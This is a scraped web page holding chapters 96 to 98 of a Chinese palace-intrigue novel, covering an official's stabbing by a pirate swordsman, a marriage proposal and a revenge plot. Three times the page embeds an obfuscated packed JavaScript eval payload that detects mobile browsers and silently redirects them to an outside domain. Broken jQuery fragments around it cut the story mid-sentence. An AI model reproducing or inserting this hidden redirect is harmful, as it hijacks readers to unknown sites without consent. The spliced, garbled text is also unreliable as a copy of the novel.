;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894384|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏夫人得意道:“我知你们来杭州目的为何,可惜了,恐怕要有所失望咯。” 殷夫人的目光在两人之间一转,随即收回情绪,换上了一副和煦的笑容,“今日既是团聚之日,莫要再计较陈年旧事。” 她转而招手唤过秦欢,拉着他的手细细端详,感慨道:“欢儿啊,我与你娘几年未见,无时无刻不挂念着。近些年来,你娘每次来信,总是絮叨:‘欢儿年逾而立之年,还未娶妻纳妾’,她怕是活不到抱孙子的那一天了。” 说到此处,她眼眶微微泛红,哽咽道:“欢儿,你可知不孝有三,无后为大?你娘日日为你忧心,若是再听不到你的好消息,只怕真要气病了。” 秦欢见此,心中一阵酸楚,充满歉意道:“姨母教训得是。孩儿实在不孝,让娘亲和您为我操碎了心。” 殷夫人叹息一声,语重心长道:“欢儿啊,你是个聪明孩子,有分寸有担当,姨母看在眼里也是骄傲的。可你这婚事……可不能再耽搁下去了。你已经二十四岁了,可不是弱冠之年。家中长辈的心意,你得懂啊。” 秦欢抬起头,目光轻轻扫过苏绾,温声道:“姨母放心,孩儿心里已有属意之人,只是此事尚需些时日,还望您和娘亲多给些宽容。” 殷夫人闻言一怔,随即似乎看透了一切,缓缓道:“你的心上人,莫不是指苏绾吧?” 话音刚落,厅中气氛瞬间变得微妙。众人神色各异,有的轻轻皱眉,有的低头不语。 苏夫人哂笑道:“阿姐真真慧眼如炬,我这女儿,那可是个能耐的人,迷了一个又一个的眼。看看,现在连阿姐的外甥也不放过了。让我这做母亲的,情何以堪啊!” “她昨日和这个订了婚约,今日又和另一个纠缠不清,明日又不知抓着谁不放。她的那些追随者,也是不要命的庇佑她,为了她争风吃醋,大打出手。啧啧,果然是随了她那窑子里面出来的亲娘。” 苏夫人的话语越来越离谱,情绪也愈加激动,让殷夫人脸面上有些难堪,不得不拿出当家主母的气势来。 殷夫人沉着脸,遽然打断了苏夫人,“住嘴!不必再说了。” 苏夫人听话地闭上了嘴,她在殷夫人面前,并不敢造次,毕竟她如今是寄人篱下。 殷夫人转向秦欢,“欢儿,姨母知道你有心意,但我要告诉你,不管你选择谁,苏绾绝对不行!她的所作所为,令姨母无法接受。你娘也是这么想的,我相信,你心里也明白。” 苏绾被人耳提面命,心里难受极了。她想为自己辩驳几句,可是让她说什么呢? 秦欢的眼神温和且坚定,似乎等待这一刻很久了,“为了成全她,我愿放弃一切。” 殷夫人一愣,“你可知这意味着什么?” 秦欢从容道:“我的心意已决,谁也不能改变。”他转头看向苏绾,目光深情,“苏绾是我唯一的选择。” 殷夫人眼中闪过一丝寒光,“既然如此,那你便自己承担后果。” 苏绾此时心急如焚,原本她是打算通过这次见面,争取殷潜的支持,没想到连殷潜的影子没见到不说,自己却陷入了这般尴尬的局面。可她此刻作为当事人,并没有任何立场去反驳或表达自己的意见,只能默默站在一旁。 萧染嘴里塞满了食物,一旁看热闹不亦乐乎。然而当他看到秦欢一反常态,毫不退缩地为苏绾抗争时,他的看戏兴趣突然骤减,目不转睛地盯着天花板,百无聊赖地发呆。 与此同时,苏尽欢则完全被眼前的局面震住了,不禁对苏绾心生佩服:一个小娼妇,竟能如此巧妙地操控人心,将男人玩弄于股掌之间。 正当气氛僵持不下时,忽然一名下人急匆匆地闯进厅内,慌张地报告:“夫人,不好了,老爷被刺客捅伤了!” 众人顿时面色一变,气氛骤然紧张。 96. 遇刺 早些时候,殷府书房。 檐角悬挂的铜铃将雨势撞得支离破碎,殷潜执狼毫的手此刻悬在公文上方。玄青杭绸直裰压着银丝暗云纹,镶玉腰带勒出清瘦腰线,斑白鬓角被烛火镀了层金边。砚台里新磨的松烟墨随雨气浮动,在“准核”二字晕出铁画银钩。 “老爷,舅爷家车马到角门了。”管家隔着竹帘回话。 殷潜笔锋未停:“就说我还有些公文处理,让夫人前厅待茶。” 管家得命退出房门,镇纸下压着的文书突然被穿堂风掀起,惊得铜雀烛台淌下三寸烛泪,正落在袖口云纹处,凝成赤色琥珀。 殷潜低眸看了一下肮脏的袖口,忍不住叹了口气。 殷潜,字伯远,出身钱塘望族。曾祖父殷弘曾任前朝宰相,以清廉刚正之名,配享太庙。殷家历经百年风雨,在江南士林中根基深厚。 娶妻薛氏,乃徽商之女,药材商贾出身,精于理财。夫妻二人感情和睦,育有三子一女,家中上下打理得井井有条。 殷潜十五岁考取秀才,二十岁中举,从七品知县,一路升至从二品布政使。他为官讲究制衡之道,既不冒进也不站队,江南官场虽无人称颂其德政,却也挑不出错处。 他常告诫子女:“官场如棋局,落子当留七分退路。” 然而,时代的变革,将他推向了风口浪尖。 皇后与贵妃的争斗已持续数月,宫中表面风平浪静,实则暗流涌动。贵妃一系势力日渐衰弱,尤其皇后临盆在即,朝中许多人已在暗暗押注皇后一党。 他不是没想过转投皇后,偏偏宫中最近传出风声,说温如初与皇后走得极近。这个消息,让他不禁冷汗涔涔。 温如初原本是殷潜想要拉拢的一枚重要棋子,也是在他亲自保媒下,温如初与苏夫人的庶女苏绾定下了婚约。 本是一桩手到擒来的买卖,然而拜他那位任性的小妹所赐,婚约变成了一纸空谈,温如初憎恨苏家所有人,甚至还将怒火绵延到他殷潜的头上。 为此殷潜不得不放弃既得利益,转而对这位新贵低头。他心里十分不甘:风水轮流转,这才不过半年光景,他这位二品封疆大吏,已然沦落向小辈折腰的地步。 如今秦家大老远派人来,明摆着打着连襟名义游说。可贵妃这条船迟早要沉,太子的废储已成定局,秦氏一族终将覆灭,殷家也难免受到波及。 殷潜权衡再三,门口这些人,见不得见不得。思议至此,干脆躲起来不见客,反正有他的夫人与小妹应付。 廊下铜漏声声催人,殷潜执笔望向庭中百年银杏。枝桠间新叶未展,倒似他半生经营的棋局—— 落子无悔的道理他岂会不知?他自诩半生谨慎,偏教这改天换日的风浪,搅得百年世家的根基都晃了三晃。 湘妃竹门帘骤然掀开,一位不速之客携着水汽撞入书房。斗笠边缘雨水成串,破旧的蓑衣不很合身,腰间刀鞘处的划痕泛着幽光。 烛火被来人带起的风扑得忽明忽暗,殷潜蹙眉道:“你的胆子愈来愈大,竟敢擅闯本官府邸。若是被人看见了,叫本官如何分辩?” 那人摘下斗笠,露出一张三十来岁饱经沧桑的脸,胡茬似钢针,眼神如鹰隼,带着浓重的关外口音:“打扰了殷大人,我家主人有话要传达给您。” 殷潜不悦道:“有什么话,写信不就好了,何必差人亲自送过来?” “您知道的。书信往来缓慢,太过耽搁时间。”武士低下头解释。 关外口音像砂纸磨过青石,“您与我们之间的交易,本是互利互惠。可自从去年下半年开始,您似乎变得冷淡了,不再与我们合作。这种背叛行为,让我们主人很不高兴。” 殷潜撂下狼毫,墨渍在“准”字上晕开:“三法司盯着漕运,你们贴着茶叶封的货箱......”他敲了敲案上刑部文书,“过不了水门关。” “可大人却是收了我们上缴的漕运税银,足足一万两呢。”武士俯下身子,蓑衣滴水,洇湿了案上搁置的账目,“我家主人让问大人——沉船时,抓浮木的人,该先顾着哪头?” 殷潜袖中手指掐进掌心,面上却浮起冷笑:“回去告诉你主子,本官最擅长的......”他忽然将浸湿的账册掷进炭盆,火舌窜起三尺,“就是烧了浮木造新船。” 倭寇侵扰沿海已持续两年有余,令当地百姓苦不堪言。究其根源在于倭国南北内战不断,大量溃败的浪人流窜至我朝沿海地区。这些浪人联合本地流民,形成劫掠团伙,肆意袭击商船、洗劫村镇。 而暴行之所以如此猖獗,实因地方官员暗中默许,浙江布政使殷潜正是牵头者。 他与倭寇首领达成协议:开放港口供倭船停泊,纵容其把控漕运、走私货物,却对烧杀抢掠视而不见。 福建都指挥使沈恪最早察觉漕运异常,秘密上京奏报殷潜通敌嫌疑。皇帝震怒,派温如初南下彻查殷潜。不料渡船在黄河遭遇风浪,温如初险些丧命,调查被迫中止。 殷潜虽逃过一劫,然心有余悸。他单方面切断与倭寇联系,销毁往来证据,试图全身而退。 但他低估了这些亡命之徒的贪婪——当初的合作本就是利益交换,如今既被断了财路,倭寇岂会轻易放过他这棵“摇钱树”? 武士指节扣住刀镡的声响,似玉珠落盘,“在我们老家流传一句谚语——只有死人不会背叛。看来,这句话用在您身上,再合适不过。” 言毕,武士身形压低,双手握紧刀柄,玄铁刀刃缓缓出鞘三寸,“忘了跟您说,我家主人准备了一份礼物,送给大人。” 殷潜心中一惊,身子不由自主向后一撤,撞翻青瓷笔洗,泼洒的墨汁与惊呼一同凝在喉咙里,“来——” “人”字还未露头,只听“噗嗤”一声,武士袖中寒光已然没入他腰间。 殷潜只觉彻骨的寒意自腹部扩散,他低头一看,刀刃入腹之处,玄青直裰绽开暗红血花,恰似雪地里碾碎的朱砂梅。 武士手腕一转,刀锋在脏腑间横移半寸,旋即又利落回手抽刀,血沫顺着鎏金刀纹蜿蜒而下。 殷潜感到喉间涌起一股腥甜的味道,身子抖了抖,猝然喷出一口鲜血,溅落案边公文书稿上,墨字洇成血团。 武士不慌不忙地从怀中取出一方雪白的巾帕,仔细地擦拭刀刃上的血迹。他的动作娴熟,一丝不苟,仿佛是在完成一件庄重的仪式。 刀是武士的魂,必须时刻保持干净,灵魂方能不朽。 “小小礼物,不成敬意。”收刀入鞘的铮鸣截断喘息。 武士戴上斗笠,留下一句美好祝词: “愿大人长命百岁。” 殷潜涣散的瞳孔里,最后映着武士扭曲的鬼影,终是无力地闭上了眼。 雨声愈发清晰,混杂着小厮的尖叫,震天动地,“来人啊!老爷——老爷他——” 厅中众人面面相觑,随即齐齐站起,殷夫人脸色惨白如纸,跌跌撞撞朝书房奔去。 萧染与秦欢对视一眼,见秦欢轻轻点头,他扔下手中的糕点,转身掠出门外,脚步快得只剩一道风影。 雨下得愈发急了,细密的水珠织成一张帘幕,将街巷笼罩在朦胧的湿雾中。 萧染足尖点过青瓦,身形在雨帘中掠出残影。拐过飞檐时,果然瞧见一位戴着斗笠的武士,踩着青石板上的水洼徐行。 萧染眯起细长的眼眸,喃喃自语:“胆子真大啊,居然敢在太岁头上动土。” 马鞭缠上腕骨又倏然绷直,鞭梢“劈啪”一下撕开雨幕,裂响声惊得武士猛然转身。 斗笠扬起的刹那,萧染已如鹞子翻身扑下,乌金鞭化作一道黑影直取咽喉。 武士旋身抽刀快过雨珠坠地,寒刃一闪截住长鞭,金属碰撞迸出火星。 萧染借力荡开半步,鞭影忽如毒蛇昂首,直噬对方面门。 武士足跟踏碎瓦片,反手一刀直取萧染腰侧,带着凌厉风声。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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倭寇为了讨好温念,将旧日交易记录、篡改文书等事宜全部交给他。而温念霸占漕运税收,所得银钱,一半奉送阁老,另一半中饱私囊。 殷潜忙前忙后打点,未捞得半点油水,一气之下告上朝廷,却被温念反手一个栽赃嫁祸,呈交了殷潜与倭寇交易罪证,导致殷潜官败落狱。 殷家被温念一招“吃里扒外”彻底打垮,从此再无起色。而那些倭寇,温念用完了,再也没想起来过,最后全部沦为沈恪刀下鬼。 往事如烟。 上一世苏绾曾努力忘却的回忆,如今却慢慢地浮出水面。她将这些重要信息搜罗梳理,结合这半年来偷偷阅读的兵法兵书,竟然理出了一条自己的计谋。 她将此计称之为:借刀杀人。 苏绾抚过袖口暗纹,纠缠的银丝莲花,正似她亲手织就的罗网。 今夜过后,无论是殷潜还是倭寇,都不过是网中待收的鱼。 “我的计谋怎么样?”苏绾仰起粉脸,湿冷的风顺着门缝吹向颈后,像谁呵了口凉气。 烛火劈啪爆了个灯花,摇曳光影在对面聚成一道玄色人影,她仿佛听见男人低低地笑着,凤眸在她的脸颊上卷了卷。 “不错,有本将军的遗风。”她以精湛的口技模仿着男人的语调。 她将烛台向自己方向挪了挪,眸中映出两簇金砂,欢喜道:“也不看看什么样的徒弟,我可是活了两世的奇女子哦。” “你才哪到哪啊!”苏绾用指甲掐灭一缕将散的青烟,指腹按在滚烫的蜡堆,仿佛被那个家伙隔着火光戳她额头,“跟本将军比,还差得远呢。” 她对着凝固的蜡湖娇嗔道:“差得远,那你倒是……”喉咙里涌上了什么东西。 活过来教教我嘛—— 最后一粒火星熄灭时,对面影子化作雾气。苏绾数着雨滴,等它们敲完第一百五十五声,那是他离开她的天数。 97. 起谋 烛火燃至五更,秦欢仍在书房忙碌。他整整忙了一宿,总算将殷潜从鬼门关拉了回来。他微微抬眸,烛光映在他清隽的脸庞上,额间渗出些许细汗。他抬手理了理衣袖,轻轻拭去汗珠,心中谋算着下一步棋局。 殷潜此番遭难,与倭寇反目成仇,眼下自身难保,恐怕无暇再顾及贵妃与太子之事。如此一来,杭州之行未启先败,局势倒是比他预料的还要混乱几分。 可秦欢并不焦急,他向来擅长顺势而为。贵妃气数已尽,倒不如退而求其次,谋一局暗度陈仓。 待皇后诞下皇子之后,御马监那碗掺了西域奇毒的参汤,便会让贵妃神志尽失,不得清明。届时,他再以御医身份连夜进京,奏请皇帝允准贵妃携太子退居青州,以秦家祖宅风水养人为理由,有助调养贵妃身子。 金蝉脱壳之术,他向来运用起来得心应手。 待新储君册立,钟鼓齐鸣,谁还会记得冷宫深处那一缕药香?到那时,秦家百年荣华,便可在青州烟雨中隐世自守。 此计看似守势,实则最合当下时局。殷潜身受重伤,反倒免去了他与苏绾周旋的麻烦。至于温如初那条毒蛇——萧染早已借漕运之名,暗中蓄养十万精兵,蛰伏在黄河入海口,静待时机,准备反攻。 眼下最紧要的,是安抚住苏绾,莫让她再出幺蛾子。 秦欢正思忖着,忽听耳畔一声轻叹,转头便见殷夫人立在书房门口,眼眶微红,神色间满是忧愁。 她轻声道:“欢儿既来了,便多住些时日,也好帮忙照顾一下。你姨父若有个三长两短,叫我们孤儿寡母如何是好?” 秦欢敛去眸底算计,躬身作揖:“姨母放心,姨父自有天佑。只是——”他目光一沉,“不知姨父究竟因何与人结仇至此?” 殷夫人抬袖轻拭泪痕,“你姨父素来谨慎,偏生上月颁了禁倭令。那些浪人喜好混迹烟花之地,如今断了门路,难免怀恨在心,这才——” 她说到此处,已是泣不成声。 秦欢闻言,心下了然。怪不得如今城中鲜少见到倭人,与前几年大不相同——彼时江浙一带,倭人往来频繁,如今骤然断绝,原是这个缘故。 他敛了敛神色,安抚殷夫人几句,未再多言。 可他不知,门外的苏绾,已将这一切听得清清楚楚。 苏绾原本是来探望殷潜的,虽说是舅舅,但她打心底不喜这人——如今她身份已揭破,与殷家毫无血缘关系,何必假惺惺地往来尽孝? 可她另有打算。 苏绾早已琢磨好借刀杀人的计策,本想趁机溜去书房翻找证据线索,奈何殷夫人和秦欢一直守在书房,她根本没有机会下手。无奈之下,只能伏在门后偷听,没想到竟让她听到了禁倭令的事情。 正暗自盘算间,书房的门忽然被人拉开—— “哎哟!” 苏绾细细惊叫一声,猝不及防,竟直接跌入一片温暖而坚实的怀抱。 秦欢垂眸,只见怀中美人青丝微乱,粉颊上那颗泪痣衬得她愈发楚楚动人。她眼尾微微泛红,眸光里惊慌未散,像是一只误入罗网的小鹿,带着几分娇俏,又透着几分无措。 他眸色微深,指尖若有似无地掠过她纤细的手腕,声音含笑:“表妹鬼鬼祟祟,可是在偷听什么?” 苏绾心头猛然一跳,连忙抬头四下望了望,生怕殷夫人听见,赶紧抓住他的衣袖,硬生生将他往外廊拽去。 夜雨新歇,廊外天色微霁,清冷的空气中弥漫着湿润的泥土气息。檐角的水珠滴滴坠落,在青石板上碎成细小的水花,寒意微微渗入衣衫。 秦欢看着苏绾,一双幽深的眼眸流转着笑意,任由她拉着自己的衣袖,不疾不徐地问道:“怎么,表妹是怕姨母知道你偷听,还是怕我知道你又在打什么小算盘?” 苏绾一时语塞,牙齿轻轻咬住下唇,假装镇定道:“表哥多心了,我不过是……” “不过是什么?”秦欢忽然俯身凑近,清冽的药香瞬间萦绕在她鼻息之间。 苏绾心跳漏了一拍,下意识后退一步,然而脚下的青石微滑,她一个踉跄,身子向后栽歪。 秦欢眼疾手快,一把揽住她的腰肢,将她稳稳带回怀中。 他低低地笑了,嗓音温润缱绻:“表妹这般心虚,莫不是做了什么亏心事?” 苏绾脸颊微热,反应过来后,立刻挣扎着推开他的手,压低声音道:“我才没有!” 她的心慌乱不已,可是冷静下来细细一想,却不知道自己究竟在慌些什么。 秦欢静静睐着她,眼底浮着一抹捉摸不透的光。他唇角微勾:“我昨夜求了姨母许久,要她答应将你许配给我,你猜她怎么说?” 揽着她的手臂缓缓收紧,苏绾几乎整个身子都贴上了他的胸膛。一双小手抵在心窝,她能清晰地感受到两个人的心跳声。 她急促地呼吸着,脑子里乱作一团,声音都有些发虚:“我……我不知道。” 秦欢微微一笑,低下头凑近她耳畔,若有似无地温柔诱哄:“她说,只要你愿意,她绝不会阻拦。” 他顿了顿,凉凉的唇瓣几乎擦过她的耳侧,声音更低了几分,像是一道难以抗拒的蛊惑。 “所以,表妹……嫁给我,好不好?” 轰—— 苏绾的脑子彻底炸开了。 她怎么也没想到,秦欢竟会在这样的场合、这样的气氛下,对她求婚! 她一向聪明,什么算计都能看透,唯独这一刻,她竟然毫无防备,甚至不知如何应对。 她怔怔地望着他,脑中混乱不堪。以前的秦欢,从来没有开口提过求娶她,他们之间早已心照不宣,今朝有酒今朝醉,谁也不必许诺什么。 可如今,他却当着她的面,亲口要她嫁给他。 苏绾的指尖微微颤抖,连逃避的借口都一时找不出来。她呼吸急促,甚至觉得这一刻的自己,像是被困在了他为她设下的局中,四面皆是退无可退的围墙。 她下意识地想要挣脱,用力推开秦欢的手,几乎是落荒而逃,结结巴巴道:“我……我要想一想!” 话音未落,她已经快步冲出了长廊。 风掠过檐角,吹散一地潮湿的雨意。 秦欢站在原地,看着她匆忙离去的背影,眼底的笑意渐渐敛去。 他静静地站着,指尖仿佛还残留着她腰肢的温度。 半晌,他轻轻地叹了口气,眸色深沉如夜。 他到底输在何时? 是一年前?两年前?还是两世前? 苏绾匆匆逃离廊下,裙摆翻飞,心跳如擂鼓,仿佛身后仍有秦欢的气息追逐而来。她头也不敢回,一口气径直拐过回廊,一头钻进月亮门。 “咚!” 她猝不及防撞上一个结实的胸膛,被反弹得往后踉跄一步。 苏绾揉着额角,抬眸望去,却见面前立着一位身着竹月色襕衫少年。他身形修长,英气逼人,偏偏一双细长的眼眸半垂,带着几分不耐,居高临下地盯着她看。 噫,竟是小侯爷萧染。 这厮不知为何,鬼鬼祟祟地躲在月亮门后,被她撞上也就罢了,竟然连句道歉话都没有,反倒皱起眉头,满脸嫌弃,抬手将她远远推开。 推得苏绾一个趔趄,身子后仰差点跌倒。 她一时又惊又怒,回过神来瞪向萧染,气得跺脚:“你没长眼睛吗?” 萧染不搭话,轻哼一声,甩了甩袖子,作势要走。 这什么人啊? 苏绾气得牙痒痒,一把揪住他的衣襟,强行将他拽回原地,怒道:“喂,我跟你说话呢!” 萧染低头,直直盯着她。细长的眼尾微微上挑,面色红一阵白一阵,像是被她这贸然举动惊得不轻。 他咬了咬牙,还想故技重施再推她一把,哪知苏绾早有防备,这回铆足了劲,死死揪着他的衣襟不放,誓要讨个说法。 苏绾柳眉倒竖,咬牙切齿:“你撞了我还想一走了之?没那么容易!” 萧染:“……” 真是越怕什么,越来什么。 一大早就触了霉头。 萧染本想趁着天色微明,独自出门透透气,谁知脚步还未踏稳,便在廊下撞见一对妙人紧紧相依——秦欢揽着苏绾,低声呢喃,语调温柔得能滴出水来。 他这几日看惯了两人卿卿我我,仍是觉得格外刺眼。 他心里清楚,自己没可能,也不该有可能,可每次见到这样的场景,胸口就像压了一块大石,沉闷难耐,莫名烦躁。 他索性躲了起来,眼不见,心不烦。 但老天爷偏要跟他作对。 不是在断桥边,就是在回廊下,总能让他撞见那两人含情脉脉地望着彼此。 真是见了鬼了。 更见鬼的是,苏绾竟抓着他的衣襟不放,像是生怕他跑了似的。 萧染甩了甩手,没能甩开,终是无奈叹气:“行了行了,我给你赔不是。” 苏绾满意地松了手,仰起下巴,高傲地打量他:“这还差不多。” 她眼珠子滴溜溜一转,忽然凑近一步,压低声音道:“不过,你这句道歉太敷衍了,光嘴上说说可不行。这样吧,你欠我一个人情。” 萧染警觉地眯了眯眼,“……什么人情?” 苏绾勾唇一笑,缓缓道:“我最近遇到一桩棘手的事,正需要你的帮忙,你就当还我人情了。” 萧染眉心一跳,莫名有种不祥的预感。 果然,苏绾语不惊人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14937886|146123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死不休—— “倭寇刺伤我舅舅,这口气实在难咽。我打听到他们经常出入城里的行院,我打算装扮成花娘潜入进去,悄悄杀了倭寇头目,替舅舅报仇。你看如何?” 萧染脸色当场变了,惨白得堪比大雪初霁。 “你、你胡说八道什么!”他几乎被她吓成结巴,嘴唇翕动半晌,挤出一句:“秦欢肯定不允许!” “那就不让表哥知道呗。”苏绾理所当然地说道,声音轻快得仿佛不是在谋划刺杀,而是在谈论晚上去哪家酒楼吃饭。 她踮起脚尖,凑近他耳畔,压低声音蛊惑道:“到时候你我里应外合,我先给那倭寇头目下迷药,等他昏了,你再冲进去绑了他,咱们二一添作五,保证天衣无缝。” 萧染听得头皮发麻,连连后退,摆手拒绝:“不行不行,这事我干不来!” 苏绾皱眉,“哎?你可是欠着我人情呢,哪有由着你来说不的道理?” 萧染咬紧牙关,摇头如拨浪鼓:“就算欠你人情也不行!被秦欢知道,他非剁了我不可!” “啧。”苏绾失望地叹了口气,满脸嫌弃地看着他,“真想不到你竟然这么没种。” 她抱臂看着他,慢悠悠调侃道:“昨日是谁被倭国武士戏弄得狼狈不堪?这口气你就咽得下去?” 萧染脸色一僵。 苏绾步步紧逼:“你就不想扳回一城,给自己找回面子?” 萧染坚定道:“不想。” 苏绾:“……” 他摆出一副死猪不怕开水烫的样子:“我只想活命。” 苏绾简直被他气笑了,伸手戳了戳他的肩膀,揶揄道:“萧染,你到底是不是男人?” 萧染一本正经地回道:“不是。” 苏绾:“……” 她扶额长叹,满脸写着“朽木不可雕也”六个大字。 眼见威逼利诱皆无用,苏绾眼珠一转,只好祭出杀手锏。 她微微凑近,缓缓吐出一句—— “小侯爷,你还记得白云观里的女鬼吗?” 萧染的瞳孔微缩,指尖骤然一紧。 苏绾继续步步紧逼:“你借鬼影浮光惊扰京中,无非是想引起皇室注意,为你母亲寿宁长公主昭雪,为你父亲武安侯讨一个公道。” 萧染的呼吸渐重,眼底涌起波涛。 “可你有否深究过——你母亲为何投井?你父亲又因何自尽?你真以为他们俩甘愿做一对殉情鸳鸯?” 如惊雷在耳旁炸开,将他困守多年的执念,撕开一道血淋淋的口子。萧染檀唇微微颤抖,将字眼生生碾碎:“……什么意思?” 苏绾直视他的眼睛,“一切,皆因圣意。” 她声音低缓,却字字诛心。 “是你的亲舅舅,亲手将你父母逼上绝路。” “是他,将寿宁长公主推入井中溺死,让她在冰冷黑暗中挣扎哀嚎,直至再无声息。” “是他,赐毒酒于武安侯,让他怀着满腔忠义,饮下一杯致命的冷酷。” “也是他,假意迎你回宫,温言软语哄骗你,却不肯让你认祖归宗,只赐你一件肮脏的差事,让你做皇权的走狗。” “还是他,将你全身上下每一点价值榨干,等到再无可用之处,便随手弃如敝屣。” 天地间一片死寂。 寒风如刀,割破静谧的空气。檐角残留的雨珠顺着瓦沟滴落,砸在青石地面,溅起微不可闻的碎响。 萧染的身子僵直,似有无形的枷锁从四肢百骸紧紧缠上,连呼吸都变得沉重。 他一直以为,母亲的死,是宫闱倾轧的牺牲;父亲的亡,是功高震主的代价。可若真是如此,何以皇室对他避之不及,何以真相都被血色掩盖?只留下一尊冷清的寿宁公主牌位,供他在黑暗中苟延残喘。 ——原来不是意外,而是谋算。 ——原来不是旁人,而是至亲。 那位端坐于九五之位之上,温言软语唤他“外甥”的亲人,才是幕后编织这场噩梦的刽子手。 心脏仿佛被一只无形的手攥紧,萧染站立不稳,后退一步,才勉强支撑住身体。 苏绾眼中无悲无喜:“我知道你不甘心,我也知道你心中有怒火。如今,我有一件事需要你的帮助——” 她顿了顿,目光微冷。 “我要除掉倭寇头目,你来助我。事成之后,我们一起杀进皇宫去。有怨报怨,有仇报仇。” 沉默如死水般蔓延。 不知过了多久,萧染终于抬眸,唇角缓缓勾起一抹淡淡的笑意。 那笑,透着一丝荒凉,一丝嘲弄,更多的,却是彻底决裂后的冰冷疯狂。 他轻轻吐出一个字—— “好。” 98. 承谋 萧染不愧是毒蛇堂的堂主,仅用寥寥数个时辰,便将杭州临海的倭寇据点摸得一清二楚。 探子们带回的密报摊开在案,白纸黑字间,详细标注着倭寇藏身的废弃灯塔、盐场地窖以及渔村暗桩的位置,甚至连浪人头目的日常行踪都打听得一清二楚。 苏绾单手托着桃腮,盯着密报看了许久,蹙眉道:“也就是说,城里根本没有半个倭人的影子嘛!” 她原本计划扮作花娘潜入行院,以借机接近浪人头目,结果拜“禁倭令”所赐,所有倭寇已撤往海边据点,她的计策无从施展。 萧染懒懒倚在窗边,伸手拂去衣襟沾染的果壳,嗤笑道:“你那核桃大的脑子想出的计谋,本就不值一提。” 苏绾翻了翻白眼,攥紧小拳头,低声啐道:“可恶。” 那副娇俏模样看呆了少年的眼,细长眼眸微挑,摆出一副吊儿郎当的模样,“费那个劲干嘛?我叫人暗地刺杀头目,不就行了?” 不可。 杀了他,就没有用了。死人怎么拿来钳制殷潜呢? 苏绾轻哼一声,“你这倭人手下败将,还好意思夸下海口,刺杀人家的主子?刚到门口就被武士拿下了。” 萧染:“……你是专门往人心口撒盐啊。” 苏绾忽然眼睛一亮,指了指密报上某处标记,兴奋道:“这里写着倭人头目最爱美色,尤其喜欢‘柔弱无依’的女子。” 她想了想,“我有一个主意,不如由你扮作奴隶贩子,而我扮做南疆美人,来一出献美计。” “不行。”萧染不答应,“倭寇据点不比行院,到处都是埋伏,全部都是敌人。万一出了差错,我救都救不回来你。” 苏绾眼中光芒微闪,“不入虎穴,焉得虎子。” 萧染摇头,“我不干了。” 下一刻他头一低,闪躲苏绾丟来的果壳。 萧染明知自己没有退出的立场,讪讪道:“我怕你演砸了嘛。倭人可不是吃素的哦,他们有专门搜罗美人的掮客,眼光毒辣得很。” 苏绾轻笑一声:“放心,我自有分寸。” 苏绾拈起一支金步摇,缓缓插入发间,指尖轻点,一缕碎发滑过肩头。她对着铜镜,唇角含笑,“这场戏……可得演得逼真些。” “你这般熟练,莫不是常给人下套?”身后传来萧染低哑的声音,望着绝色佳人,他忍不住咽了口水。 没错,这一招,前世倒是用过的。 苏绾手腕微转,步摇在发间轻轻一晃,金色流光一闪而逝。 忽然,门外传来一声冷笑—— “哟,女儿的本事简直逆天。” 紧接着,无霜春蝉异口同声:“夫人且慢,小姐正在见客。” 苏夫人丹凤眼一斜,“我要的就是抓她正着。”她抬手一把推开两个小丫头。 无霜被推个趔趄,春蝉气不过,正要还手,却听屋内苏绾吩咐道:“让夫人进来。” 苏绾抬眸看去,见苏夫人缓步而入,素色绣鞋踩过门槛,丹凤眼微微上挑,“前儿个才勾得我那外甥秦欢发誓非你不娶,这会儿又撩上了堂侄萧染?” 她语气带笑,却字字如刀:“左一个,右一个,用完一个丢一个……当真是青出于蓝。你那做娼的娘没有白疼你。” 屋内气氛骤然冷凝。 萧染感到十分不自在,他向来不懂跟女子相处,尤其是苏夫人这种牙尖嘴利的角色。他站起身想要离开,却被苏绾扯住衣襟。 苏绾不疾不徐地转过身,裙裾微扬,黑色云纹裙摆宛如绽开的墨莲。她缓缓走向苏夫人,指尖轻轻拨弄着腕上的玉镯,笑意温和,轻得像落在水面的雨丝, “母亲这话说的,倒像是自己没这般本事似的。” 她眉眼一弯,低头莞尔道:“也是了,母亲连自己的男人都管不住,又怎么有心思去抓别的男人呢?” “放肆!” 苏夫人脸色骤变,扬手欲落下时,瞥见一旁的萧染脸色极其难看,已然捋起袖子准备动手。 苏夫人生生顿住。 苏绾眉梢一挑,顺势往萧染怀里一靠,惊得萧染一哆嗦,下意识地就想逃,却被苏绾暗自揪着衣角使眼色,萧染只好站着不动给她靠。 “母亲若是不怕被人听见看见,尽管闹去。” “我自是不怕的。”苏绾抿嘴。 这两日因为殷潜遇刺,全靠秦欢高超的医术救治,殷夫人对秦欢言听计从,殷府上下皆对秦欢感恩戴德。 苏夫人脸色瞬间沉了下来,指甲狠狠掐进掌心。 她怎会不知,现如今秦欢明摆着护着苏绾,就连殷夫人也对苏绾放开了口风,扬言不再干扰他俩之间的事。 